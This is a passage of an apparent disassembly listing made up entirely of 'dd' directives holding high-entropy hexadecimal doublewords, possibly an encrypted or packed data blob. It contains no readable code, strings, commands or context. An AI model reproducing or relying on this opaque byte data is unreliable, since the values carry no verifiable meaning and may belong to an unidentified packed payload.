42EA405h, 97B9CF30h, 69734809h, 2D689A4h, 0EDFC08AFh dd 4B617A61h, 64282FD9h, 593DE193h, 700419E8h, 6050DE8Bh dd 0BDF78D2h, 4DEB0E6h, 0CC258992h, 0FB4EAEF2h, 2B3F4520h dd 326501ABh, 0B08EDF22h, 61ACE0A4h, 7D1D099Dh, 0D360394Dh dd 96CCE47Ah, 5B9D4049h, 1A004944h, 0F1BF5FF7h, 90FF123Ch dd 0FC084427h, 3205BE01h, 684EAC02h, 5BC10E3Eh, 3E4AFA35h dd 0B15232Ch, 8E5033F8h, 0CDB73A97h, 5CD66119h, 0E2BB263Dh dd 0D0A3311Bh, 2A0978DAh, 794B4CBAh, 0A576ACAEh, 5F1CABC5h dd 26375D27h, 0BD67A980h, 1990E018h, 6866A36Bh, 0BB302FDAh dd 4B6DBD89h, 3A9CC917h, 0A0ACE3ADh, 0D1102F00h, 0E5E8D85Bh dd 0F5B51089h, 0C28B4B03h, 519D0B1Ch, 0F235101Ch, 2BA93662h dd 69BA0209h, 0FCA55E22h, 0FBF4C164h, 4AB8E6EBh, 388024DAh dd 0E06846DBh, 11BD0317h, 609073C1h, 95DDEC2Eh, 0F78A82CAh dd 60E8D661h, 18A7860Bh, 515CCA00h, 85089EDDh, 9053254Dh dd 0BEDAB5F7h, 6897102h, 5A7729D7h, 977190B0h, 0E84504F6h dd 3F158B20h, 0C10B00D9h, 79D69345h, 18004187h, 0AF71F254h dd 4DA09748h, 3C60C931h, 65C1BB66h, 0A925A1A0h, 6005E812h dd 4AD1C06h, 87CF4A6Fh, 18FDB75h, 502507C8h, 50B61222h dd 0B30CF013h, 728F7D51h, 3BED071Dh, 70F097F8h, 0E5396Fh dd 0FC842759h, 0D0C6C249h, 0EDBA52FEh, 903FB712h, 0C0E3DAFBh dd 6EB63291h, 513C025Eh, 0B9EBBF66h, 0AEC37087h, 0C6369BD3h dd 274625B7h, 355F80E6h, 8914118Ah, 4C614425h, 0B0003940h dd 5B97F947h, 1D77C256h, 93C79C09h, 323E458h, 1E84B9EDh dd 8814643h, 0B56820C7h, 3A9D7D76h, 0C95EED15h, 0F969573h dd 0F8C0ECF5h, 0EBD14EFFh, 2300586Bh, 0AD0A090Fh, 57B49237h dd 71F63640h, 31C000EBh, 0D0037725h, 0E901261Fh, 2935171Ah dd 2134A595h, 9411EC01h, 5EE5253Ch, 0D240A811h, 81D0F55Dh dd 8CBA00CBh, 0B960026Ah, 0E801D423h, 0D8C48051h, 202E9061h dd 7E96D685h, 4C1F63FAh, 58408482h, 3BBF5087h, 52C41251h dd 819B9B90h, 0A45EE647h, 7F31EBFCh, 0FF2C4AC7h, 0BDBF5220h dd 25762E2Fh, 0A3DB52CBh, 1167C50h, 7E6E9606h, 30BA9128h dd 23A0855Ch, 0F44BF080h, 0B4394820h, 6E3500C8h, 611CE263h dd 0D607A31Bh, 7AF03309h, 6FE924BFh, 2FE188E8h, 0DB5FEAA9h dd 0EFF7700Dh, 27B01739h, 6889DD8Ah, 39548679h, 50AAC74Ch dd 0CEA70072h, 12FD0EA0h, 90032B56h, 48D0B60Ch, 8825E72Eh dd 6E6AC5A1h, 0AF4813EDh, 0AF5985A6h, 9B132BBCh, 9FA66FE3h dd 0CD4B6B4Dh, 0DF128F9Ch, 0DAFB526Ah, 6BBCC07Bh, 0EC69835Fh dd 80180BBFh, 7C84138Dh, 0DB3D9401h, 0C9FBC051h, 3581A90h dd 0DB802DB3h, 50988113h, 314EAAD6h, 8A25A398h, 2CD13060h dd 708FB780h, 0E6F907B0h, 0B095B370h, 419D2971h, 0E9256C9Ch dd 0C1140694h, 4206980h, 594C85BCh, 0CAF79538h, 28638215h dd 61FB0230h, 1BF98D89h, 0AC5F597Dh, 535D1743h, 489DB396h dd 181913AEh, 13229DA2h, 0F977EB00h, 7467BAE7h, 811700F6h dd 60C0B431h, 797D7319h, 0A584B94Eh, 39A91B40h, 0EF15CFh dd 1E81DA85h, 9B6D89F6h, 38F79D02h, 74D62EC6h, 0FD8A02A6h dd 12D4C82Bh, 9A60EB40h, 0A07A2607h, 1EF1C6Fh, 8BFC5F86h dd 78B92FD1h, 0D5A20300h, 4CAE2FDEh, 0CCC21F01h, 750FBFBDh dd 35ED043Eh, 0E95F4220h, 0B792905Eh, 858B25D9h, 0C381DF20h dd 0F227E920h, 7724222h, 0D1499DD9h, 0F3800472h, 7270E9BEh dd 69E788Bh, 0E95EFC94h, 0C998172Dh, 8B9A5406h, 0EC03FF8Dh dd 67119DD8h, 9D891018h, 4007424Dh, 0F1A2FE17h, 587B5009h dd 0E82BDF04h, 40879EDEh, 0A131E0ACh, 0EE296A7Fh, 0CC80DCB8h dd 0BAB54AD9h, 0A2C2004Dh, 0ADFC485Eh, 73057809h, 0CFF3992Eh dd 0DE8B34D1h, 0A8CBED3Bh, 0FC958C1Dh, 0A4E00082h, 0F389441Bh dd 0B003B928h, 8046B79Fh, 28BB5A5h, 5327F94Bh, 8CC743EDh dd 20E7B9E6h, 0FCCA38BBh, 296DD700h, 0DD8509EDh, 0C2B88127h dd 23E9E598h, 978B149Dh, 84811FB5h, 727A2980h, 4E758DCCh dd 268A9B2Eh, 8D040960h, 1E1431F1h, 0C96E17Ch, 263E261h dd 0BA69B8FEh, 0E1AC4089h, 587916ABh, 0EF96F61h, 6C13A3C6h dd 40117050h, 109D5B25h, 4DBD23C5h, 0DA4B878Dh, 0C114C8AAh dd 728C0F48h, 46FC27D3h, 0DCA894A6h, 3D13C74Ch, 2F2FC175h dd 0B0E846C3h, 0C1D63DFh, 57C193FEh, 12404D74h, 13E4B85Bh dd 0A2F969E7h, 0F9998BCDh, 0A739A987h, 33DBDD5h, 6D9D2BD1h dd 221E694Ch, 57B915h, 0FBACA562h, 0CD58D457h, 20EB0019h dd 5FCCA4F3h, 0E83A9D3Ah, 0F8CFD975h, 4201E470h, 29A2D8C5h dd 2CE9195h, 6CB5E1FFh, 268BE788h, 0C6E5A5A2h, 0B5C59F17h dd 99E0BBA6h, 0A4B18F0Fh, 1551BD8Eh, 9018835h, 4D770485h dd 7EE5E0AEh, 734E82D5h, 2234E68Ah, 0E07AA65Bh, 5B1B52Bh dd 0DF749EF1h, 71A2E0h dd 95675126h, 4E64818h, 17BCA309h, 8022B8F7h, 8926BFDEh dd 0D881D3Dh, 4C9977Fh, 0A9605BDAh, 16E0B8BBh, 9D2AA53h dd 9F82FFC7h, 0F50408E5h, 0B34039ECh, 3A2C417Dh, 0BD173E13h dd 415D75CCh, 44483A16h, 7E05A813h, 44969D29h, 0A2B59Dh dd 0B6A0A626h, 9A189C0Ch, 1DAE75FBh, 0A6EE9523h, 0B544C695h dd 1329A04h, 50FA8B90h, 4FA0F620h, 686EEF14h, 0FF96017Fh dd 0F4E2CBC6h, 8C46B3D2h, 68690269h, 5999A170h, 0C82F4DD9h dd 2578EFh, 8A50B818h, 815B5FFEh, 8F243402h, 0D35986A2h dd 1B557024h, 0DC03714h, 0E1612AD7h, 9F59895h, 1CDD358Dh dd 0D4B20Ch, 38A3E56Bh, 9DE0C462h, 0E5EFC70Bh, 6857FF60h dd 0A8D82C1Bh, 31CF1C6Eh, 7D01E270h, 12042280h, 0A11AB357h dd 0F9522E26h, 0C883679Bh, 84D4AE88h, 0D9B1B53Eh, 1FB86281h dd 461CE3BBh, 9793BF01h, 343A2B87h, 0B89BA9C4h, 0E8E02D5h dd 0D88B7643h, 5F2C325Dh, 2900C05Ah, 6BC3B2F6h, 12CD3334h dd 0E95BFCD2h, 12949427h, 2DE80D99h, 2BD6BD2h, 0C9BD032Eh dd 912A8226h, 2FBE452Dh, 5F6A9B10h, 0C6018872h, 0DD5CF6ABh dd 0CB2839BBh, 4689157Dh, 61BCC804h, 8DE13413h, 0D6619612h dd 960032C5h, 173DB160h, 61F28066h, 0CA36BF50h, 0B3567E08h dd 96AC790Dh, 9EA2DE4Eh, 604D4001h, 0CCD80FECh, 7D786EA7h dd 80F33C13h, 0FA4B33B2h, 610C036Eh, 0F874BEB3h, 680ED9E4h dd 0A43DFCF0h, 0B2BB800Fh, 3A8C0F90h, 0A2242F81h, 7B26E107h dd 0E5D71E92h, 1C5950D3h, 0A8002118h, 53CBDD2Ch, 0B9A964E7h dd 74D38024h, 0A19B51F2h, 5C1E4175h, 0CF8E0EF9h, 90B840A6h dd 9A0BF66h, 51B350D4h, 0BBD89484h, 5DBDCB60h, 42618111h dd 0E77C8DE6h, 0A5D6E525h, 801035F5h, 0D4D92EB3h, 3A0580DFh dd 0BA1ED3Ch, 0E7BFF184h, 0E98267C6h, 714C7499h, 95011052h dd 62234469h, 946F17D3h, 8CE92005h, 7A4B2CBh, 9AD391F3h dd 5B409790h, 23FF03D9h, 6986E564h, 21EAC4DDh, 4259558h dd 68E7F980h, 38302707h, 735C1167h, 4066A20Fh, 13BC6DEBh dd 0A2F52625h, 44184D7h, 75C5010Eh, 2ED23C11h, 0F470FE9Dh dd 0FBBDF012h, 5AA6DE8h, 9D2B9885h, 0A6F7A512h, 0F192EB48h dd 67B93A6Eh, 0F70025B8h, 7D3B9050h, 981ACEBh, 0E9E780F8h dd 0CE1CA759h, 0A3C4940h, 0C51402h, 56ABE67Ah, 5499C952h dd 46DDCD27h, 8AF81270h, 2A3DCh, 51801CF3h, 0EA7AE739h dd 0DA2C090Fh, 0C25879C2h, 16DC6FB4h, 0B2526BD1h, 0CE060053h dd 0D07C3611h, 3F7031Eh, 76A52C50h, 4F4688C0h, 96272A3Dh dd 3749F19Dh, 5DED625Bh, 19BF4514h, 0BD8291Dh, 661E1331h dd 654AA35Bh, 6389C13Eh, 0DFDC604h, 92028CECh, 0F49B85Eh dd 289F18Fh, 5FBB9DFBh, 53696B74h, 181E7059h, 7F678B09h dd 79A60990h, 0B7B7A58Eh, 0D7047C3Dh, 745BAB4Fh, 16B2DFE6h dd 4DD64F30h, 9814E1Dh, 3A260195h, 8CBCB024h, 4FBC8C4Dh dd 0DCC82828h, 20FCD20h, 3189EF81h, 747457E2h, 9D55246Ch dd 0BB057414h, 1A838AC0h, 0E7D871A4h, 93AE0CECh, 5CE22521h dd 7C9F62F0h, 0B724DE9Eh, 4560A4A1h, 0E42FF4h, 57863B23h dd 6C5F6EB9h, 52503200h, 7148D2BBh, 0AC25F512h, 1E01C489h dd 29136F14h, 1A1DD85h, 0C870DA2Bh, 0C012C115h, 9FF93E0Bh dd 2106CA4Bh, 335A746h, 4B5BDA00h, 0F95F7D0h, 3FB876BBh dd 5F6BCC17h, 6E445A00h, 1EEF287Ch, 0F2A87F54h, 0EC700AB7h dd 0B9885CFFh, 26CD8D88h, 11D89D52h, 3314801Ch, 9C6ADh dd 1DD51B43h, 55D38166h, 860F9A14h, 53125E27h, 0AA4ECBE7h dd 1C7DBD3Fh, 41342E54h, 0B70FD0CAh, 306349DBh, 41008F7Dh dd 0BCBB72B2h, 976665C0h, 15B3BA98h, 70B99497h, 0F4A4B692h dd 4E404C95h, 3FB3FEh, 0A7A8D2A1h, 1D149Ah, 1F2D54B9h dd 0AA6880BDh, 0CEC55B4Bh, 4A69DF82h, 8FBA571Eh, 0DC3557h dd 0B086FAFCh, 0C64B852Ch, 800A07Ah, 91805CCBh, 79789D8Bh dd 94EC9E97h, 6813DC09h, 2A19FE9h, 80B5DB2Fh, 0CCC2327h dd 89FC04B2h, 0E82539B5h, 0FC29D01Dh, 0F59F091Eh, 1ED14DE5h dd 0EE46BB80h, 0BD901FCDh, 8A602C81h, 803628C6h, 548CC48Eh dd 0C30403D6h, 0FE7ECC95h, 0D0BEA1D8h, 0C6C8804Bh, 61300E3h dd 0D87B5C9h, 317FAD34h, 0DE40F400h, 86993B2Ch, 1259F495h dd 6F90615Fh, 0D451004Ah, 85C07F17h, 0D0D34CF5h, 4E6DB518h dd 0E5FEEB81h, 4A12FB5Ah, 5F3C7A6Fh, 55905727h, 42048C2Ah dd 9C8071DDh, 258569C1h, 0EC0BD3Ah, 0D7E8B9F7h, 6827AB30h dd 0C6FC00CBh, 1AF848FAh, 0A201D0B0h, 69CC6ED4h, 103AD8E6h dd 0D910EE30h, 10902F07h, 16EE9CD4h, 832D61Ah, 508E0298h dd 90D73C5Bh, 0C444AB6Fh, 519D250Bh, 0D49D79DAh, 6323DC5Fh dd 8D310529h, 76B3A599h, 1A62F0AFh, 95892F52h, 6D55772Bh dd 981D44A5h, 4900A7F7h, 2DFE8FCBh, 4F9C22F1h, 1D82A0D0h dd 0F26389Dh, 40DE9E89h, 19B1D3FDh, 4AD1FF2Eh, 0E80C14DEh dd 0DD12F349h, 88E8F328h, 0F88B4392h, 481DB5E9h, 0B79F02CFh dd 0A4600919h, 263C0CD0h, 0CAB792BEh, 0BD3BFFE1h, 0FAAC4Ch dd 8AD21B6Ah, 0A1C2F297h, 10B95758h, 5F2E1815h, 24CD6988h dd 76C0FAE0h, 9C7405C5h, 90678062h, 5D9D8984h, 0E91263BAh dd 0D2F20D08h, 0A9BA01C7h, 0FC7A2D53h, 326A2708h, 0F500E571h dd 1C03E34Fh, 295B0070h, 0FBF2E6B3h, 9A97C56Dh, 48E408E2h dd 0DF10A524h, 4EBBC84Bh, 54E5C200h, 6FA76389h, 55AE1E56h dd 886204BEh, 0E988C46Ah, 4A6CB8D7h, 3A1F228h, 0B5E1CCE6h dd 8EF8A0AFh, 0DB2B4B7Bh, 0C01688DBh, 3349C127h, 57E99D26h dd 1FE0C2A5h, 801A112Bh, 716FF863h, 0D7F72582h, 0ECA69BDBh dd 3D9FCD6h, 0FC5243CAh, 0C29DFF6Ah, 1E4881A2h, 3B4BE780h dd 8A3AD0D8h, 440E2360h, 1E04B05Fh, 20BB10D5h, 2A958D76h dd 0E1899784h, 1945D272h, 32BD5341h, 55341E39h, 13D8B877h dd 304FA8Ah, 0C9BC19A5h, 920D29A1h, 4AEDC139h, 24B18C2Fh dd 85310022h, 0BE174F65h, 0C82BF240h, 44660BBh, 0D18B0BA7h dd 0CF08BB50h, 0E95F0427h, 3470FFC7h, 1BA621Eh, 0E2C026D4h dd 70196ECBh, 549D01D0h, 100B5165h, 15A0682h, 2D019D95h dd 0CEA85FCAh, 2F5BF4E1h, 1C309B16h, 9F301F4Ah, 618EC5D6h dd 611BEF21h, 5717A79Bh, 980F228h, 0E49E6129h, 7C44A001h dd 9189E25Eh, 7DCDD9ECh, 635B6E90h, 0BBFD8A04h, 4F31322Ch dd 0C334EB0Dh, 0FC5BEB8h, 9F85BC84h, 13B72461h, 0B9419465h dd 4B2F22CEh, 0F9C9D9FCh, 0C4AC6881h, 9142289h, 84D4D828h dd 826D97A0h, 20E5CC25h, 15913AE2h, 72CB3680h, 2B45C3Fh dd 0EEF6BDCDh, 0FB7D6A4Ch, 8015705Fh, 0D2E35001h, 0D338DA82h dd 0E6231507h, 0D68300CAh, 7BFBE029h, 0DD611E06h, 130116EEh dd 49575247h, 9FDBC1F2h, 19344DD8h, 868B586Dh, 76786969h dd 0BDA4495Ah, 6515619Dh, 4A0DA6B9h, 0D12E62DAh, 0FCDA9017h dd 0D04A0EBBh, 0A3D21947h, 0A3B14EC1h, 0B882093Ah, 60A2CFFDh dd 0DBF903AEh, 0D0B91116h, 0E07B89AAh, 0C40096ECh, 0E53BD8D4h dd 9550573h, 0FA8BD22Bh, 0B7E9D979h, 1FF68092h, 0A60A48CCh dd 0B202C5FAh, 0FF8E36BFh, 0DCE05467h, 5512107Dh, 84FC4FFFh dd 0CD12FCD0h, 0A5ACEC28h, 18A8DAFDh, 33C9DC01h, 0CFFE2130h dd 13297BC0h, 0A71F118Dh, 1D205E0Ch, 8C9D4Eh, 0C887FA5Fh dd 0DE41550Eh, 5452631Fh dd 0FEF74412h, 0F2AC3F4Dh, 776EC100h, 0BF92FF02h, 2C3409ECh dd 4D1F916h, 27BD3358h, 0B7F72CE9h, 0AAF0A5A2h, 0E5E0EF25h dd 0B1E22DFCh, 7031DB7Fh, 5B04A30Eh, 0B58ECAD2h, 75E320EBh dd 6513829Fh, 50B7B863h, 0A3F628E0h, 0F7354313h, 810106A3h dd 3FFECCBh, 7EE1CD6Ch, 3102986Eh, 0D98BB567h, 5300C5E6h dd 3C5C475Dh, 2D82DAFh, 730CBB7Ah, 0F65E2302h, 3100A51h dd 0E3B61D9Dh, 2112D1A6h, 0C88DAF3h, 0F50AF7A6h, 70C9132Ch dd 0CBC362C0h, 525EFC60h, 9C60AA26h, 1C30044Dh, 49543A68h dd 5B784A5Eh, 9DD0B0BFh, 6061C175h, 75C5B58Bh, 26930A9h dd 2542DC8Ah, 0C2F76BC9h, 0DA348409h, 56C5AAACh, 0B98E8451h dd 18A8442h, 660BF549h, 0B7A7EE5Ch, 0AB31164Eh, 0F78A6A00h dd 2CF6BF4Fh, 0A54A8202h, 0DB03C937h, 8AB3E47Fh, 9BB6C0D0h dd 9E680466h, 0ACFB7279h, 8A610E59h, 0E5B9B3ACh, 4DF83BB9h dd 5A39E74Ah, 9B00056Ah, 0E8A65E18h, 0F12CF513h, 0B509401Ah dd 5A237604h, 7D454D4h, 7303488Bh, 0F8C24E4Bh, 6274F7E9h dd 4F4FCAA5h, 0DE724131h, 0BBB2C82Eh, 4D1D4479h, 1B896663h dd 0AD4379AFh, 7DC0096Dh, 0C113E993h, 31786715h, 5C77CCCDh dd 0C96C8C00h, 7B04CE23h, 8E460999h, 567938F9h, 3B19B7ADh dd 2F00F2BFh, 0B70FBE74h, 0BD120BFEh, 5DED28F5h, 809BDBD7h dd 927DC0C7h, 95E0105h, 2B97CFCBh, 0CDBC3B9Dh, 85C2934Dh dd 1FDD27C9h, 801C91CCh, 0B856A1F6h, 92A0191h, 9D29F91Fh dd 0A3CA2F5Dh, 8C8D844Bh, 0AD004839h, 0B6C30FFDh, 1C33DF3Dh dd 6860508Eh, 495B3AF3h, 61016558h, 349412BFh, 8E3F7F73h dd 6D161423h, 0A67388h, 9C81687Dh, 3002CEF9h, 42D42600h dd 61BFED5h, 0CD404B01h, 0DAD70077h, 0A804F068h, 0FC8AA232h dd 5B0A4FBDh, 0DED95DECh, 2015C60Fh, 8FFBC0FDh, 536CAEh dd 1AC4D381h, 858D0FABh, 467E07BEh, 0CBA7001Bh, 20220DFDh dd 244DB080h, 8033C9BDh, 9735BF90h, 6197645Bh, 9AEBFAE1h dd 1C3E6CFBh, 53C1ADBBh, 823F643h, 0C0D799Dh, 31105161h dd 975B1540h, 0F2C7096h, 8A421288h, 516F5CF9h, 0E01D7772h dd 0AAE3E8h, 1D5429C2h, 1358AEBFh, 8720175Bh, 0F12C53Ch dd 2BC0A5CEh, 7D3558Bh, 2796CDD8h, 5D9AC9Bh, 0C6721007h dd 0A8D08807h, 32A6F4Bh, 563701C7h, 75B08186h, 0D2DBF8Eh dd 0DDEFD15Bh, 3D17C90Bh, 0DC0A8342h, 58F03C43h, 7005BFD8h dd 38DF8057h, 5C9D47E0h, 0D4E7582Ah, 9529415Ch, 382F0999h dd 27C14989h, 15099589h, 0E6D71205h, 0B6726474h, 23C254BCh dd 2570B1BDh, 0B23CBB04h, 97B818B6h, 6BF2C8D2h, 8A9E8F00h dd 63B256CBh, 87D703C6h, 0C788571Fh, 345EBAF2h, 958D2961h dd 96160B2Ah, 4B23CC5Fh, 0FE41CCF9h, 2634B000h, 8AFD36A0h dd 0DCD40568h, 0A6968EE5h, 0F7EE0AAh, 0FEE26BB3h, 2FCDE76h dd 0FFF1C0ABh, 1DC035CBh, 0A79C09BDh, 2136CE25h, 8047256Dh dd 0EF3B23Eh, 0DA4A794Dh, 0C01BC8EEh, 5A8F679Bh, 7A86D405h dd 12BA5259h, 81C68CCBh, 2FEEC304h, 0CFB91EB1h, 1E93A15Ch dd 0ACB534BBh, 39313FDBh, 2BA7CB39h, 0C7BCE159h, 97702801h dd 12358D89h, 4B4A8B2Eh, 5302776Ah, 9A70F510h, 2BBD7641h dd 0F1ED4752h, 0AA05FBBCh, 341AF42Ah, 23BB6BAFh, 0ECA11314h dd 0D3202D15h, 0BF6682AEh, 9DDC399h, 18F28B10h, 0F32503h dd 2013E51Bh, 9BF674Bh, 572B801h, 9661746Eh, 2B8D63Dh dd 33417009h, 40CC5448h, 0AE6D1A1Fh, 3D52A205h, 7B229CC3h dd 95B87809h, 1CE445EDh, 64C8760h, 0F1807C01h, 0F1B53BFh dd 282FDBD1h, 81884B42h, 95C704EFh, 0E850103Bh, 8A60C735h dd 92616BEEh, 70667380h, 0D700D154h, 2A16AE8h, 0B0210B79h dd 9E221393h, 0C0B0FC26h, 0C284B8BBh, 9091AC7Fh, 0A54896D7h dd 1EAD1BC6h, 0F6316C4h, 0B501EAE8h, 3023F128h, 90F2797h dd 0DD2199C2h, 3345771Ch, 0D4B5B643h, 9D2D7B9h, 0E3709D50h dd 57A7C64Eh, 0CB15D3A0h, 0DEB41697h, 0AD245862h, 20409D8Dh dd 0A1185BE9h, 88E71968h, 8417B9A8h, 0B847B3C1h, 0D98AC16Bh dd 4F2C6090h, 0D1E6E083h, 0A998AA88h, 0F6097300h, 77442952h dd 0BCD40308h, 5061AD56h, 0E1B680DCh, 90035BCDh, 0A3C02CBBh dd 86F25B0Ch, 4DB70A55h, 0F4F5C175h, 0E1AA851Fh, 0E6BAE8C8h dd 5E0CE28Fh, 8EB26AFh, 0C09326D5h, 54F145B6h, 9BCC7B4Fh dd 77E4B550h, 585A9AA0h, 7D2DBB07h, 0DC8907A1h, 249D96E9h dd 19FE8701h, 296A64E1h, 6FC1BD07h, 876C4671h, 0AA3D2380h dd 0F300D89Ch, 33D2DADCh, 0CDF8193h, 18358BF8h, 3597F96Ah dd 8182A313h, 8D0F12D7h, 5CF51201h, 0F780610Ch, 0BDE2B81h dd 0C806E080h, 25284FC7h, 0B1259DC5h, 1108C713h, 92033E74h dd 5E314E9h, 85D4DA4Ah, 26BACCCEh, 51250863h, 0BFB4F15Fh dd 0EBFD8A16h, 1B80BA9Bh, 499F02D7h, 0D331535Eh, 0AD7D9D0Bh dd 19AE05Ah, 0A76A9358h, 65E91EF1h, 0EBEA382Bh, 0B7979392h dd 77F80015h, 58E5BEDCh, 897B9305h, 0A840EDB5h, 0C372E781h dd 0E7334AB8h, 0ADA759C6h, 9072F96Ah, 0D157C9B8h, 77FA0090h dd 0F6950D6Eh, 8D081601h, 46032DB0h, 0C503B83Eh, 0CC575F5Bh dd 95738CCh, 38A6BB66h, 0CF894C8Bh, 0F549ED51h, 32E209E7h dd 0FC7D60A4h, 0FFE89023h, 3FEF292Bh, 0B4099820h, 70831698h dd 0AC73E978h, 3E018C1Ah, 282C2584h, 12FF23Fh, 6AF71F58h dd 0A0DB6FFFh, 0CA8A4780h, 0A9B0F856h, 1E66D959h, 5893F560h dd 1D65D1Eh, 5B63452h, 81014122h, 0D5FC1D7h, 0FCC0B038h dd 0C2705AE6h, 440E0726h, 0C0C36071h, 469DB09h, 0CB806117h dd 0D70CB912h, 658420E8h, 0B02BABBEh, 0BC19C54Ah, 46BA252Ah dd 44D95F7Bh, 0E860C199h, 0C9EBD3BFh, 5E9307Dh, 96EBB88h dd 610DA304h, 81022D70h, 591A30F3h, 25215C2Ah, 0D8DFD210h dd 18385C73h, 9ED48392h, 0C0B8D7E1h, 35797CD5h, 1D9A2BBDh dd 0BB978196h, 0F424C2BAh, 600CD18Bh, 6292CF80h, 0AA19029Fh dd 94E9612Ch, 0B11ACFE6h, 0FCCE9B73h, 8EB0B292h, 495C1B6Ch dd 7C08454h, 7D5C71EEh, 0DF2B0209h, 2A62F613h, 904551Fh dd 2544115Ah, 5C72A0E8h, 12E61D53h, 2B464091h, 0D50C45A0h dd 9E881805h, 0D2C15E4Dh, 5F002305h, 3D9C34E9h, 2BB8FA44h dd 43C781C0h, 2B4B93AAh, 881C1F88h, 8C12B2BFh, 23E66978h dd 89DD8A05h, 0BF803195h, 0C602EF9h, 0B5E84888h, 0EC8ADB37h dd 0DF02D234h, 0E25550E9h, 6FD877A9h, 406BEFB7h, 1303A81Eh dd 3D85262Eh, 5F23D10Bh, 352FCD65h, 0B3CB0008h, 0B88D8008h dd 983B8E28h, 0C7FFBB00h, 47B913D6h, 95C1A610h, 0C5EFA09h dd 0D438590Eh, 8C1AB868h, 5BDF9501h, 0A3FBE81Eh, 402D1F20h dd 0C04E2B1Fh, 0ABE58BB6h, 292D5FA6h, 2B0DA1DFh, 3D2EF5D2h dd 4AD22B08h, 4CB856DAh, 78929594h, 646BED9Dh, 0F2FF641Bh dd 0EE320ACCh, 0C700A251h, 15B22D5h, 1A299D85h, 46D6AC56h dd 0F4DD001Dh, 27C866A7h, 0AA1E1FCDh, 5FFC09FFh, 0E15AAE59h dd 292BFCB4h, 5A8EB88Ch, 39D76EBBh, 210A80A1h, 74F04DD0h dd 0B99F5119h, 85E28C2Bh, 951ED120h, 92466C1Ah, 5E3DAF01h dd 43B0C371h, 0C2E1A0CBh, 0FA072EEh, 0FFD5AED6h, 8052EC32h dd 0DFB5917Dh, 0AA3300BBh, 206B6FB2h, 0CA505673h, 31400DBAh dd 6394955Fh, 4D12274Dh, 1728BC86h, 60453160h, 0E5BD8923h dd 909DC92h, 5932759Dh dd 5404C488h, 848A4AB9h, 9B9CBF22h, 0BA6502DCh, 0C4F3C09Dh dd 606C8777h, 513FB930h, 0AC899537h, 6FC01ACDh, 1484CF1h dd 0EEE2F58Ah, 3E820F80h, 0DDC028F9h, 8B90C004h, 0D3E35F00h dd 0F22F124Ch, 0BDB0281h, 5B112B48h, 134A1950h, 0B31240E2h dd 0D736B990h, 39802A9Bh, 14EE8E75h, 0A6460109h, 0EB545CFCh dd 7882E635h, 5C3D3AE3h, 0BB666007h, 46BD6086h, 3C700026h dd 0E2B69EE3h, 0DC0980B1h, 62248FD1h, 98F00EECh, 34BF662Bh dd 0B690220Eh, 6852E056h, 0B8C915FBh, 76842D8Dh, 7B01A8ECh dd 72593A79h, 0EBC20h, 9E50A51Eh, 2644D205h, 3BB33012h dd 70B4FFB6h, 0EE3ACA9h, 494BE4Ch, 4125434Ch, 3E0ED9ABh dd 0E908F3ADh, 0BB0101CDh, 69C23A6Ah, 0D2ABF1D7h, 562A7331h dd 0BC29F9E7h, 82DA1F6Ch, 0B2D25292h, 6EBE5ADFh, 5A490251h dd 56CCB78Eh, 66CF2FCAh, 0DFD61E62h, 0E0DB9110h, 31727D00h dd 5FF52EC7h, 0DD874AB3h, 0C0F31ACDh, 7CB2993Fh, 0F20C058Ch dd 1C76B3B9h, 0AFBD85CCh, 0F531BA6Ch, 0A62A0689h, 0F433E093h dd 54F158ADh, 7B5A9D2Dh, 9D18FBDh, 0D17EF32Ch, 0F15AC41Ah dd 127E7148h, 0E8B13EB2h, 74D87730h, 1B8C5850h, 4EB98896h dd 6A024690h, 3BE73049h, 0B760D84Ah, 0C01A4DB7h, 9FA9DFD6h dd 3D95CF50h, 2623898Dh, 898731F9h, 5E0C6995h, 0C780668h dd 0B28174D3h, 0CC0F871Dh, 8D1229ECh, 0DFDFA262h, 42CDD029h dd 0CE30AC0h, 0A3922C9Bh, 1CF909AAh, 0E0EB4374h, 44E8611Ch dd 52001C0Ah, 57458DE7h, 25A12D6Eh, 0BB655FA3h, 82C38180h dd 955021C1h, 394B9F14h, 0CC059FE7h, 80442EE4h, 9AD5C628h dd 5AA0DA00h, 9D4E5BAFh, 0DE3A4AE9h, 5C0DC19Bh, 0CE6B0FE2h dd 6A3AE9F2h, 0EA20003Bh, 51A88CF8h, 6E3AEB91h, 27501AFh dd 79E74E05h, 4A3D1030h, 1095CE31h, 0F0420410h, 0ABB603CFh dd 0A9C3F39Bh, 7C71607Ah, 12891040h, 0AE26419Dh, 4F0FEC28h dd 0DA018880h, 0E9B69B95h, 362BD7F3h, 5520540Fh, 42CEB508h dd 2BD40F94h, 2F978540h, 0F41DC70h, 944DD46Eh, 836EEF3Dh dd 8B3C5801h, 2F2BA04Bh, 6FAE9E85h, 3D1D2342h, 0FCB48D07h dd 0C33A8499h, 623912E0h, 0B4DDCA89h, 3EB8EA29h, 11B15500h dd 2BBC37B7h, 713197F5h, 2E2A1009h, 9C2B02B2h, 2DA2EB8Bh dd 786BDD56h, 0DD0995EFh, 4049EFFDh, 8833065h, 4DE7058h dd 0F53C44E0h, 892D0FE3h, 35D74DC2h, 801B115Bh, 0C2842DE3h dd 654E16F3h, 7034B827h, 4460EDB5h, 0FFE2601Ch, 0AD5200B2h dd 0FCB7208Fh, 4D4E8531h, 8D013E01h, 6600075Dh, 764BBABBh dd 6A7A279Dh, 9F620188h, 17A1BD03h, 5185C18Eh, 4C2BE712h dd 115D161Fh, 9764CFEBh, 5F372698h, 0FE6220ACh, 0BD0008A6h dd 0B4DA5603h, 938FCFD3h, 0BC53127Dh, 40CD8F75h, 0D8158E6Ah dd 66630012h, 1101993Ch, 0A6034C27h, 0F57A0FBEh, 70FF8D5Bh dd 96EC38EBh, 0AFE3BF00h, 8A502C80h, 6E2AF3D9h, 7CA15B57h dd 0E4A95414h, 83F0E4BCh, 0DBC9D401h, 0F8FE0D81h, 0E80F342Eh dd 0EEA2D2A7h, 747B3F89h, 9414D8h, 9E70B971h, 8160AE25h dd 1255EB4Ch, 0D0042E20h, 6104076Dh, 86D19450h, 0BD2D0C72h dd 5B9A05C1h, 80982AAEh, 0E35A9CCCh, 962A16DCh, 0ACE5B91Ah dd 9A048C18h, 4BDA477Bh, 0F28074ACh, 27A3FA43h, 0FA77E38h dd 403302E3h, 795DE505h, 0EFBD297Ch, 77542567h, 19E70212h dd 0EB8305Dh, 452F1497h, 1EC82A43h, 0C6351290h, 0C0BFE841h dd 91AE9AC1h, 14CE95C0h, 9359Fh, 0F0450C55h, 0DC09B5FCh dd 70D6E4F4h, 2C2EF35Ch, 2FE3603Fh, 201F882h, 15E48529h dd 2D906163h, 0E90F0918h, 